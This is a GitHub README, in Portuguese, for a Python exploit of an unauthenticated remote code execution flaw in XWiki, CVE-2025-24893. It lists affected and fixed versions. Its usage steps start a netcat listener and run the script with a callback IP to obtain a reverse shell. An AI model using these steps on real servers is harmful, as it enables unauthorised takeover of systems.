hasecto/CVE-2025-24893
GitHub: hasecto/CVE-2025-24893
Stars: 0 | Forks: 0
# CVE-2025-24893
Exploit de Execução Remota de Código (RCE) no XWiki
Um exploit em Python3 para a **CVE-2025-24893**, uma vulnerabilidade crítica de Execução Remota de Código Não Autenticada (RCE) que afeta a plataforma **XWiki**.
Este script explora uma falha de Injeção de Código/Expressão (CWE-95) dentro do componente da macro `SolrSearch`. A falha permite que atacantes executem código Groovy/Java arbitrário no sistema operacional subjacente. O exploit realiza automaticamente a codificação em Base64 para evitar as limitações de interpretação de comandos da função `Runtime.getRuntime().exec()` do Java.
## 📊 Detalhes da Vulnerabilidade
- **CVE ID:** CVE-2025-24893
- **Pontuação CVSS:** 9.8 Crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **CWE:** CWE-95 (Improper Neutralization of Expression Language Expression / Eval Injection)
- **Componente Alvo:** `/bin/get/Main/SolrSearch` (através do parâmetro `text`)
## 🔍 Versões Afetadas
- Todas as versões a partir da **5.3-milestone-2** até a **15.10.10**
- Versões **16.0.0-rc-1** até a **16.4.0**
## 🚀 Como Usar
### 1. Inicie o seu listener (Netcat) no Kali Linux:
nc -lvnp 4444
### 2. Execute o exploit:
python3 CVE-2025-24-893.py
**Exemplo:**
python3 CVE-2025-24-893.py http://domain.local 10.10.14.229 4444
## 🛠️ Requisitos
- Python 3.x
- Biblioteca `requests`
Para instalar a dependência necessária:
pip install requests
## 🛡️ Correção
Atualize a sua instância do XWiki para uma das versões oficiais corrigidas: **15.10.11**, **16.4.1**, **16.5.0-rc-1** (ou superiores).
## ⚠️ Aviso Legal (Disclaimer)
Este script foi desenvolvido exclusivamente para fins educacionais, auditorias de segurança autorizadas e testes de invasão (Pentest). O autor não se responsabiliza por qualquer uso indevido, danos ou atividades ilegais causadas por esta ferramenta. A utilização deste script contra alvos sem autorização prévia é estritamente ilegal.